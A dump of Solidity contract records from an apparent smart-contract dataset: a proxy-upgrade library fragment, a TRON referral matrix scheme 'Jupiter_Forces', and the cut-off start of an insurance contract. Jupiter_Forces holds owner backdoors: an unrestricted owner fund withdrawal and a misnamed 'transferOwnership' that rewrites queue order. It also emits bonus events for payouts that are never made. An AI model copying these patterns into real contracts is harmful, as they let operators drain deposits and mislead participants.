function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
abstract contract ERC1967Upgrade {
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
event Upgraded(address indexed implementation);
function _getImplementation() internal view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
function _upgradeToAndCall(address newImplementation, bytes memory data, bool forceCall) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
}
function _upgradeToAndCallSecure(address newImplementation, bytes memory data, bool forceCall) internal {
address oldImplementation = _getImplementation();
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
// Perform rollback test if not already in progress
StorageSlot.BooleanSlot storage rollbackTesting = StorageSlot.getBooleanSlot(_ROLLBACK_SLOT);
if (!rollbackTesting.value) {
// Trigger rollback using upgradeTo from the new implementation
rollbackTesting.value = true;
Address.functionDelegateCall(newImplementation,
abi.encodeWithSignature("upgradeTo(address)",
oldImplementation));
rollbackTesting.value = false;
// Check rollback was effective
require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades");
// Finally reset to the new implementation and log the upgrade
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
}
function _upgradeBeaconToAndCall(address newBeacon, bytes memory data, bool forceCall) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data);
}
}
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
event AdminChanged(address previousAdmin, address newAdmin);
function _getAdmin() internal view returns (address) {
return StorageSlot.getAddressSlot(_ADMIN_SLOT).value;
}
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
event BeaconUpgraded(address indexed beacon);
function _getBeacon() internal view returns (address) {
return StorageSlot.getAddressSlot(_BEACON_SLOT).value;
}
function _setBeacon(address newBeacon) private {
require(Address.isContract(newBeacon),
"ERC1967: new beacon is not a contract");
require(Address.isContract(IBeacon(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract");
StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
}
contract ERC1967Proxy is Proxy, ERC1967Upgrade {
constructor(address _logic, bytes memory _data) payable {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_upgradeToAndCall(_logic, _data, false);
}
function _implementation() internal view virtual override returns (address impl) {
return ERC1967Upgrade._getImplementation();
}
}
contract TransparentUpgradeableProxy is ERC1967Proxy {
constructor(address _logic, address admin_, bytes memory _data) payable ERC1967Proxy(_logic, _data) {
assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1));
_changeAdmin(admin_);
}
modifier ifAdmin() {
if (msg.sender == _getAdmin()) {
_;
} else {
_fallback();
}
}
function admin() external ifAdmin returns (address admin_) {
admin_ = _getAdmin();
}
function implementation() external ifAdmin returns (address implementation_) {
implementation_ = _implementation();
}
function changeAdmin(address newAdmin) external virtual ifAdmin {
_changeAdmin(newAdmin);
}
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeToAndCall(newImplementation, bytes(""), false);
}
function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin {
_upgradeToAndCall(newImplementation, data, true);
}
function _admin() internal view virtual returns (address) {
return _getAdmin();
}
function _beforeFallback() internal virtual override {
require(msg.sender != _getAdmin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target");
super._beforeFallback();
}
}
| 92,908 | 13,589 |
125754daddc60ea08a6fd26c3beae21544d8175c11fcb897593b0ed2318d133b
| 25,435 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TR/TRKke2fBxdvzWKKDQCr5gFMNjuhWmiCw72_Jupiter_Forces.sol
| 6,489 | 24,137 |
//SourceUnit: jupiter_forces_final.sol
pragma solidity 0.5.10;
contract Owner {
address owner;
bool public locked;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "onlyOwner");
_;
}
modifier onlyUnlocked() {
require(!locked || msg.sender == owner);
_;
}
}
contract Jupiter_Forces is Owner{
struct User {
uint id;
address payable referrer;
uint partnersCount;
mapping(uint8 => bool) activeX3Levels;
mapping(uint8 => bool) activeX6Levels;
mapping(uint8 => X3) x3Matrix;
mapping(uint8 => X6) x6Matrix;
mapping(uint8 => uint256) holdAmount;
}
struct X3 {
address currentReferrer;
address[] referrals;
bool blocked;
uint reinvestCount;
}
struct X6 {
address currentReferrer;
address[] referrals;
bool blocked;
uint reinvestCount;
uint256 RefvID;
}
uint256[] public REFERRAL_PERCENTS = [40,25,10,10,5,5,5];
mapping(address => User) public users;
mapping(uint => address) public idToAddress;
uint public lastUserId = 2;
mapping(uint8 => mapping(uint256 => address)) public x3vId_number;
mapping(uint8 => uint256) public x3CurrentvId;
mapping(uint8 => uint256) public x3Index;
address payable public owner;
mapping(uint8 => uint) public levelPrice;
mapping(uint8 => uint) public blevelPrice;
mapping(uint8 => uint) public sponsorBonus;
address payable public platform_fee;
uint256[] public ref_bonuses;
event Registration(address indexed user, address indexed referrer, uint indexed userId, uint referrerId);
event Upgrade(address indexed user, address indexed referrer, uint8 matrix, uint8 level);
event NewUserPlace(address indexed user, address indexed referrer, uint8 matrix, uint8 level, uint8 place);
event EntryBonus(address indexed receiver, address indexed _from, uint _amount, uint8 level);
event LevelBonus(address indexed receiver, address indexed _from, uint _amount, uint8 level);
event SponsorBonus(address indexed receiver, address indexed _from, uint _amount, uint8 level);
event ReEntry(address indexed _user);
constructor() public {
levelPrice[1] = 300*1e6;
levelPrice[2] = 500*1e6;
levelPrice[3] = 700*1e6;
levelPrice[4] = 1000*1e6;
levelPrice[5] = 1500*1e6;
levelPrice[6] = 2000*1e6;
levelPrice[7] = 3000*1e6;
blevelPrice[1] = 700*1e6;
blevelPrice[2] = 1000*1e6;
blevelPrice[3] = 1500*1e6;
blevelPrice[4] = 2000*1e6;
blevelPrice[5] = 3000*1e6;
blevelPrice[6] = 5000*1e6;
blevelPrice[7] = 10000*1e6;
sponsorBonus[1] = 200*1e6;
sponsorBonus[2] = 400*1e6;
sponsorBonus[3] = 800*1e6;
sponsorBonus[4] = 1600*1e6;
sponsorBonus[5] = 2500*1e6;
sponsorBonus[6] = 3500*1e6;
sponsorBonus[7] = 9500*1e6;
ref_bonuses.push(50*1e6);
ref_bonuses.push(10*1e6);
ref_bonuses.push(10*1e6);
ref_bonuses.push(5*1e6);
ref_bonuses.push(5*1e6);
ref_bonuses.push(5*1e6);
ref_bonuses.push(3*1e6);
ref_bonuses.push(2*1e6);
owner = msg.sender;
platform_fee = 0xc2976A4245Dc1975C3C6603341DCB8458FB54b19;
User memory user = User({
id: 657861,
referrer: address(0),
partnersCount: uint(0)
});
users[owner] = user;
idToAddress[657861] = owner;
for (uint8 i = 1; i <= 7; i++)
{
x3vId_number[i][1]=owner;
x3Index[i]=1;
x3CurrentvId[i]=1;
users[owner].activeX3Levels[i] = true;
users[owner].activeX6Levels[i] = true;
}
}
function() external payable {
if(msg.data.length == 0) {
return registration(msg.sender, owner,0);
}
registration(msg.sender,owner,0);
}
function withdrawLostTRXFromBalance(address payable _sender,uint256 _amt) public {
require(msg.sender == owner, "onlyOwner");
_sender.transfer(_amt);
}
function changeLock() external onlyOwner() {
locked = !locked;
}
function registrationExt(address payable referrerAddress,uint id) external payable onlyUnlocked {
registration(msg.sender, referrerAddress, id);
}
function registrationFor(address userAddress, address payable referrerAddress,uint id) external onlyUnlocked {
registrationFree(userAddress, referrerAddress,id);
_buyNewLevelFree(userAddress, 1, 1);
_buyNewLevelFree(userAddress, 2, 1);
}
function buyNewLevel(uint8 matrix, uint8 level) external payable onlyUnlocked() {
_buyNewLevel(msg.sender, matrix, level);
}
function _buyNewLevel(address _userAddress, uint8 matrix, uint8 level) internal {
require(isUserExists(_userAddress), "user is not exists. Register first.");
require(matrix == 1 || matrix == 2, "invalid matrix");
if (matrix == 1)
{
require(msg.value == levelPrice[level] , "invalid price");
require(level==1, "invalid level");
require(!users[_userAddress].activeX3Levels[level], "level already activated");
users[_userAddress].activeX3Levels[level] = true;
address payable ref=users[_userAddress].referrer;
uint ded=(msg.value*10)/100;
platform_fee.transfer(ded);
uint rest=msg.value-ded;
for(uint8 i=0;i<7;i++)
{
if(ref!=address(0))
{
if(users[ref].activeX3Levels[level])
{
ref.transfer((rest*REFERRAL_PERCENTS[i])/100);
}
else
{
platform_fee.transfer((rest*REFERRAL_PERCENTS[i])/100);
}
emit LevelBonus(ref, _userAddress, (rest*REFERRAL_PERCENTS[i])/100, i+1);
ref=users[ref].referrer;
}
else
{
i=7;
}
}
emit Upgrade(_userAddress, users[_userAddress].referrer, 1, level);
}
else
{
require(msg.value == blevelPrice[level] , "invalid price");
require(level==1, "invalid level");
require(users[_userAddress].activeX3Levels[level], "buy working level first");
require(!users[_userAddress].activeX6Levels[level], "level already activated");
address freeX6Referrer = findFreeX6Referrer(level);
users[_userAddress].activeX6Levels[level] = true;
users[_userAddress].x6Matrix[level].currentReferrer = freeX6Referrer;
updateX6Referrer(_userAddress, freeX6Referrer, level);
emit Upgrade(_userAddress, freeX6Referrer, 2, level);
}
}
function _buyNewLevelFree(address _userAddress, uint8 matrix, uint8 level) internal {
require(isUserExists(_userAddress), "user is not exists. Register first.");
require(matrix == 1 || matrix == 2, "invalid matrix");
if (matrix == 1)
{
require(level==1, "invalid level");
require(!users[_userAddress].activeX3Levels[level], "level already activated");
users[_userAddress].activeX3Levels[level] = true;
address payable ref=users[_userAddress].referrer;
uint ded=(levelPrice[level]*10)/100;
uint rest=levelPrice[level]-ded;
for(uint8 i=0;i<7;i++)
{
if(ref!=address(0))
{
if(users[ref].activeX3Levels[level])
{
emit LevelBonus(ref, _userAddress, (rest*REFERRAL_PERCENTS[i])/100, i+1);
}
ref=users[ref].referrer;
}
else
{
i=7;
}
}
emit Upgrade(_userAddress, users[_userAddress].referrer, 1, level);
}
else
{
require(level==1, "invalid level");
require(users[_userAddress].activeX3Levels[level], "buy working level first");
require(!users[_userAddress].activeX6Levels[level], "level already activated");
address freeX6Referrer = findFreeX6Referrer(level);
users[_userAddress].activeX6Levels[level] = true;
users[_userAddress].x6Matrix[level].currentReferrer = freeX6Referrer;
updateX6ReferrerFree(_userAddress, freeX6Referrer, level);
emit Upgrade(_userAddress, freeX6Referrer, 2, level);
}
}
function registration(address userAddress, address payable referrerAddress, uint id) private{
require(!isUserExists(userAddress), "user exists");
require(idToAddress[id]==address(0) && id>=100000, "Invalid ID");
require(isUserExists(referrerAddress), "referrer not exists");
uint32 size;
assembly {
size := extcodesize(userAddress)
}
require(size == 0, "cannot be a contract");
require(msg.value == 100*1e6, "invalid registration cost");
User memory user = User({
id: id,
referrer: referrerAddress,
partnersCount: 0
});
users[userAddress] = user;
idToAddress[id] = userAddress;
users[userAddress].referrer = referrerAddress;
lastUserId++;
users[referrerAddress].partnersCount++;
uint ded=10*1e6;
platform_fee.transfer(ded);
referrerAddress.transfer(ref_bonuses[0]);
emit EntryBonus(referrerAddress,userAddress,ref_bonuses[0],1);
_refPayout(referrerAddress);
emit Registration(userAddress, referrerAddress, users[userAddress].id, users[referrerAddress].id);
}
function registrationFree(address userAddress, address payable referrerAddress, uint id) private{
require(!isUserExists(userAddress), "user exists");
require(idToAddress[id]==address(0) && id>=100000, "Invalid ID");
require(isUserExists(referrerAddress), "referrer not exists");
uint32 size;
assembly {
size := extcodesize(userAddress)
}
require(size == 0, "cannot be a contract");
User memory user = User({
id: id,
referrer: referrerAddress,
partnersCount: 0
});
users[userAddress] = user;
idToAddress[id] = userAddress;
users[userAddress].referrer = referrerAddress;
lastUserId++;
users[referrerAddress].partnersCount++;
emit EntryBonus(referrerAddress,userAddress,ref_bonuses[0],1);
_refPayoutFree(referrerAddress);
emit Registration(userAddress, referrerAddress, users[userAddress].id, users[referrerAddress].id);
}
function _refPayout(address _addr) private {
address payable up = users[_addr].referrer;
uint256 bonus=0;
for(uint8 i = 1; i < ref_bonuses.length; i++) {
if(up == address(0)) break;
bonus=ref_bonuses[i];
up.transfer(bonus);
emit EntryBonus(up,_addr,bonus,(i+1));
up = users[up].referrer;
}
}
function _refPayoutFree(address _addr) private {
address up = users[_addr].referrer;
uint256 bonus=0;
for(uint8 i = 1; i < ref_bonuses.length; i++) {
if(up == address(0)) break;
bonus=ref_bonuses[i];
emit EntryBonus(up,_addr,bonus,(i+1));
up = users[up].referrer;
}
}
function updateX6Referrer(address userAddress, address referrerAddress, uint8 level) private{
uint256 newIndex=x3Index[level]+1;
x3vId_number[level][newIndex]=userAddress;
x3Index[level]=newIndex;
if(users[referrerAddress].holdAmount[level]<blevelPrice[level+1] && !(users[referrerAddress].activeX6Levels[level+1]) && level<7)
{
address(uint160(platform_fee)).transfer((blevelPrice[level]*5)/100);
users[referrerAddress].holdAmount[level]=users[referrerAddress].holdAmount[level]+((blevelPrice[level]*95)/100);
users[referrerAddress].x6Matrix[level].referrals.push(userAddress);
emit NewUserPlace(userAddress, referrerAddress, 2, level, uint8(users[referrerAddress].x6Matrix[level].referrals.length));
if(!(users[referrerAddress].activeX3Levels[level+1]) && users[referrerAddress].holdAmount[level]>=levelPrice[level+1])
{
autoUpgradeLevel(referrerAddress, (level+1));
}
else
{
if(users[referrerAddress].holdAmount[level]>=blevelPrice[level+1] && !(users[referrerAddress].activeX6Levels[level+1]))
{
autoUpgrade(referrerAddress, (level+1));
}
}
}
else
{
if(level==7 && users[referrerAddress].x6Matrix[level].referrals.length==0)
{
users[referrerAddress].x6Matrix[level].referrals.push(userAddress);
emit NewUserPlace(userAddress, referrerAddress, 2, level, uint8(users[referrerAddress].x6Matrix[level].referrals.length));
emit ReEntry(referrerAddress);
address(uint160(platform_fee)).transfer((blevelPrice[level]*5)/100);
uint256 ded=(blevelPrice[level]*5)/100+(blevelPrice[1]);
address(uint160(referrerAddress)).transfer(blevelPrice[level]-ded);
address freeX6Referrer = findFreeX6Referrer(1);
users[referrerAddress].activeX6Levels[1] = true;
updateX6Referrer(referrerAddress, freeX6Referrer, 1);
emit Upgrade(referrerAddress, freeX6Referrer, 2, 1);
return;
}
if(users[referrerAddress].x6Matrix[level].referrals.length < level+4)
{
users[referrerAddress].x6Matrix[level].referrals.push(userAddress);
emit NewUserPlace(userAddress, referrerAddress, 2, level, uint8(users[referrerAddress].x6Matrix[level].referrals.length));
address(uint160(platform_fee)).transfer((blevelPrice[level]*5)/100);
return address(uint160(referrerAddress)).transfer((blevelPrice[level]*95)/100);
}
users[referrerAddress].x6Matrix[level].referrals.push(userAddress);
emit NewUserPlace(userAddress, referrerAddress, 2, level, uint8(users[referrerAddress].x6Matrix[level].referrals.length));
if(level<7)
{
address(uint160(platform_fee)).transfer((blevelPrice[level]*5)/100);
address(uint160(referrerAddress)).transfer((((blevelPrice[level]*95)/100)-sponsorBonus[level]));
}
if(users[referrerAddress].referrer!=address(0))
{
address(uint160(users[referrerAddress].referrer)).transfer(sponsorBonus[level]);
emit SponsorBonus(users[referrerAddress].referrer,referrerAddress,sponsorBonus[level],1);
}
else
address(uint160(platform_fee)).transfer(sponsorBonus[level]);
users[referrerAddress].x6Matrix[level].referrals = new address[](0);
users[referrerAddress].activeX6Levels[level]=false;
x3CurrentvId[level]=x3CurrentvId[level]+1; // After completion of two members
}
}
function updateX6ReferrerFree(address userAddress, address referrerAddress, uint8 level) private{
uint256 newIndex=x3Index[level]+1;
x3vId_number[level][newIndex]=userAddress;
x3Index[level]=newIndex;
if(users[referrerAddress].holdAmount[level]<blevelPrice[level+1] && !(users[referrerAddress].activeX6Levels[level+1]) && level<7)
{
users[referrerAddress].holdAmount[level]=users[referrerAddress].holdAmount[level]+((blevelPrice[level]*95)/100);
users[referrerAddress].x6Matrix[level].referrals.push(userAddress);
emit NewUserPlace(userAddress, referrerAddress, 2, level, uint8(users[referrerAddress].x6Matrix[level].referrals.length));
if(!(users[referrerAddress].activeX3Levels[level+1]) && users[referrerAddress].holdAmount[level]>=levelPrice[level+1])
{
autoUpgradeLevelFree(referrerAddress, (level+1));
}
else
{
if(users[referrerAddress].holdAmount[level]>=blevelPrice[level+1] && !(users[referrerAddress].activeX6Levels[level+1]))
{
autoUpgradeFree(referrerAddress, (level+1));
}
}
}
else
{
if(level==7 && users[referrerAddress].x6Matrix[level].referrals.length==0)
{
users[referrerAddress].x6Matrix[level].referrals.push(userAddress);
emit NewUserPlace(userAddress, referrerAddress, 2, level, uint8(users[referrerAddress].x6Matrix[level].referrals.length));
emit ReEntry(referrerAddress);
address freeX6Referrer = findFreeX6Referrer(1);
users[referrerAddress].activeX6Levels[1] = true;
updateX6ReferrerFree(referrerAddress, freeX6Referrer, 1);
emit Upgrade(referrerAddress, freeX6Referrer, 2, 1);
return;
}
if(users[referrerAddress].x6Matrix[level].referrals.length < level+4)
{
users[referrerAddress].x6Matrix[level].referrals.push(userAddress);
emit NewUserPlace(userAddress, referrerAddress, 2, level, uint8(users[referrerAddress].x6Matrix[level].referrals.length));
return ;
}
users[referrerAddress].x6Matrix[level].referrals.push(userAddress);
emit NewUserPlace(userAddress, referrerAddress, 2, level, uint8(users[referrerAddress].x6Matrix[level].referrals.length));
if(users[referrerAddress].referrer!=address(0))
{
emit SponsorBonus(users[referrerAddress].referrer,referrerAddress,sponsorBonus[level],1);
}
else
users[referrerAddress].x6Matrix[level].referrals = new address[](0);
users[referrerAddress].activeX6Levels[level]=false;
x3CurrentvId[level]=x3CurrentvId[level]+1; // After completion of two members
}
}
function autoUpgradeLevel(address _user, uint8 level) private{
if(!users[_user].activeX3Levels[level])
{
users[_user].activeX3Levels[level] = true;
address payable ref=users[_user].referrer;
uint ded=(levelPrice[level]*10)/100;
platform_fee.transfer(ded);
uint rest=levelPrice[level]-ded;
for(uint8 i=0;i<7;i++)
{
if(ref!=address(0))
{
if(users[ref].activeX3Levels[level])
{
ref.transfer((rest*REFERRAL_PERCENTS[i])/100);
emit LevelBonus(ref, _user, (rest*REFERRAL_PERCENTS[i])/100, i+1);
}
else
{
platform_fee.transfer((rest*REFERRAL_PERCENTS[i])/100);
}
ref=users[ref].referrer;
}
else
{
i=7;
}
}
users[_user].holdAmount[level-1]=users[_user].holdAmount[level-1]-levelPrice[level];
emit Upgrade(_user, users[_user].referrer, 1, level);
}
}
function autoUpgradeLevelFree(address _user, uint8 level) private{
if(!users[_user].activeX3Levels[level])
{
users[_user].activeX3Levels[level] = true;
address ref=users[_user].referrer;
uint ded=(levelPrice[level]*10)/100;
uint rest=levelPrice[level]-ded;
for(uint8 i=0;i<7;i++)
{
if(ref!=address(0))
{
if(users[ref].activeX3Levels[level])
{
emit LevelBonus(ref, _user, (rest*REFERRAL_PERCENTS[i])/100, i+1);
}
ref=users[ref].referrer;
}
else
{
i=7;
}
}
users[_user].holdAmount[level-1]=users[_user].holdAmount[level-1]-levelPrice[level];
emit Upgrade(_user, users[_user].referrer, 1, level);
}
}
function autoUpgrade(address _user, uint8 level) private{
if((users[_user].holdAmount[level-1]-blevelPrice[level])>0)
{
address(uint160(_user)).transfer(users[_user].holdAmount[level-1]-blevelPrice[level]);
}
users[_user].holdAmount[level-1]=0;
address freeX6Referrer = findFreeX6Referrer(level);
users[_user].activeX6Levels[level] = true;
updateX6Referrer(_user, freeX6Referrer, level);
emit Upgrade(_user, freeX6Referrer, 2, level);
}
function autoUpgradeFree(address _user, uint8 level) private{
users[_user].holdAmount[level-1]=0;
address freeX6Referrer = findFreeX6Referrer(level);
users[_user].activeX6Levels[level] = true;
updateX6ReferrerFree(_user, freeX6Referrer, level);
emit Upgrade(_user, freeX6Referrer, 2, level);
}
function findFreeX3Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeX3Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function setWithdrawFee(address payable _platform_fee) public {
if (msg.sender != owner) {revert("Access Denied");}
platform_fee=_platform_fee;
}
function findFreeX6Referrer(uint8 level) public view returns(address){
uint256 id=x3CurrentvId[level];
return x3vId_number[level][id];
}
function usersActiveX3Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX3Levels[level];
}
function usersActiveX6Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX6Levels[level];
}
function usersX3Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, bool,uint256) {
return (users[userAddress].x3Matrix[level].currentReferrer,
users[userAddress].x3Matrix[level].referrals,
users[userAddress].x3Matrix[level].blocked,
users[userAddress].x3Matrix[level].reinvestCount);
}
function usersX6Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, bool,uint256) {
return (users[userAddress].x6Matrix[level].currentReferrer,
users[userAddress].x6Matrix[level].referrals,
users[userAddress].x6Matrix[level].blocked,
users[userAddress].x6Matrix[level].reinvestCount);
}
function isUserExists(address user) public view returns (bool) {
return (users[user].id != 0);
}
function getUserHoldAmount(address userAddress) public view returns(uint256[] memory) {
uint256[] memory levelHold = new uint256[](12);
for(uint8 j=0; j<12; j++)
{
levelHold[j] =users[userAddress].holdAmount[j+1];
}
return (levelHold);
}
function transferOwnership(uint256 _place,uint8 level) public
{
require(msg.sender==owner,"Only Owner");
x3CurrentvId[level]=_place;
}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
}
| 288,279 | 13,590 |
31d001729a2e4e8de2779c3adf60d46112ad8a38ce5ab3f4dfe6633ce5372666
| 20,147 |
.sol
|
Solidity
| false |
475275962
|
Acala-EVM-Dapps/Acala-PolkaWorld-Dapp-Hackathon-2022
|
86b1ff33adf0330df72d7aa5a10eeda7cdd3f8c7
|
applications/Meta-Defender/contracts/protectorForOnePool.sol
| 5,183 | 19,381 |
pragma solidity ^0.6.12;
//SPDX-License-Identifier: SimPL-2.0
interface ERC20token{
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
function transfer(address _to,uint256 _value) external returns (bool success);
function balanceOf(address _address) external view returns (uint);
function approve(address spender, uint256 amount) external returns (bool);
function mint(address _to, uint256 amount) external returns (bool);
}
interface publicCapitalPoolInterface{
function useablePublicCapital() external view returns(uint);
function CPTstakedInPublicPool() external view returns(uint);
function capitalInPublicPoolDown(uint256 _down) external;
function totalCoverageSharedByPublicUp(uint256 _up) external;
function totalCoverageSharedByPublicDown(uint256 _down) external;
function accumlatedRewardPerShareUp(uint256 _up) external;
}
interface emergencyJudgeInterface{
function judgement(bytes32 hash, bytes calldata signature1, bytes calldata signature2, bytes calldata signature3, uint value, address to) external returns(bool);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract cryptoProtectorInstance {
using SafeMath for uint256;
struct providerInfo{
uint256 CPTstaked;
uint256 rewardDebt;
}
struct policyInfo{
address beneficiary;
uint256 id;
uint256 coverage; // policy coverage
uint256 coverageSharedByThis;
uint256 coverageSharedByPublicPool;
uint256 startTime;
uint256 effectiveUntil;
bool isClaimed;
bool inClaimApplying;
}
policyInfo[] public policies; //all the policies ever existed
policyInfo[] public policiesInClaimApplying;
event PolicyMade(uint256 id, uint256 _coverage, uint256 effectiveUntil);
event AppicationMade(uint256 id, uint256 _coverage, uint256 effectiveUntil);
address public operator;
address private robot;
//while sCPT recipient is dex-pair or other addesses which should be excluded
mapping(address => bool) private _isTreatedAsOperator;
mapping(address => bool) private _isMiningAddress;
mapping(address => providerInfo) public providerMap; //details about each provider
mapping(address => uint256) public beneficiaryPolicyCount; //how many policies a beneficiary hold
uint256 public policyCount = 0; // the number of policies ever be minted in this contract
uint256 public CPTstakedHere;
uint256 public capitalInThispool;
uint256 private accumlatedRewardPerShare = 0;
uint256 private totalCoverage; //aka occupied capital here;
uint256 private totalCoverageSharedByThis;
uint256 public kLast;
//protect the contract from reentrancy attack
bool private inCapitalProviding = false;
bool private inCapitalTransfer = false;
ERC20token CPT;
ERC20token sCPTforThis;
publicCapitalPoolInterface publicPool;
emergencyJudgeInterface emergencyJudgement;
constructor(address _CPTaddress, address _stakedCPTaddress, address _publicPool,address _judger) public {
operator = msg.sender;
CPT = ERC20token(_CPTaddress);
sCPTforThis = ERC20token(_stakedCPTaddress);
publicPool = publicCapitalPoolInterface(_publicPool);
emergencyJudgement = emergencyJudgeInterface(_judger);
}
modifier onlyOperator() {
require(msg.sender == operator);
_;
}
modifier only_sCPTforThis_contractAddress() {
require(msg.sender == address(sCPTforThis));
_;
}
modifier onlyRobot(){
require(msg.sender == robot);
_;
}
function transferOwnership(address _to) external onlyOperator{
operator = _to;
}
function treatAsOperator(address _address) external onlyOperator{
// such as dex-pair
_isTreatedAsOperator[_address] = true;
}
function defineMiningAddress(address _address) external onlyOperator{
_isMiningAddress[_address] = true;
}
function defineRobot(address _robot) external onlyOperator{
robot = _robot;
}
function _caculateUseableCapital() public view returns(uint256) {
uint256 r1 = publicPool.useablePublicCapital();
uint256 r2 = capitalInThispool.sub(totalCoverageSharedByThis);
uint256 r = r1.add(r2);
return r;
}
//fee rate at least 3
//show feeRate at front end by this function
function caculateFeeRate() public view returns(uint256) {
uint256 useableCapital = _caculateUseableCapital();
if(useableCapital == 0){
return 3;
}
uint256 tentativeRate = kLast.mul(100).div(useableCapital);
if(tentativeRate >= 3){
return tentativeRate;
}else{
return 3;
}
}
//caculate feeRate with given param of useableCapital
//in order not to caculate useableCapital again sometimes
function _caculateFeeRateInternal(uint256 useableCapital) internal view returns(uint256){
if(useableCapital == 0){
return 3;
}
uint256 tentativeRate = kLast.mul(100).div(useableCapital);
if(tentativeRate >= 3){
return tentativeRate;
}else{
return 3;
}
}
function _updateKLast(uint256 useableCapital) internal {
uint256 tentativeRate = kLast.mul(100).div(useableCapital);
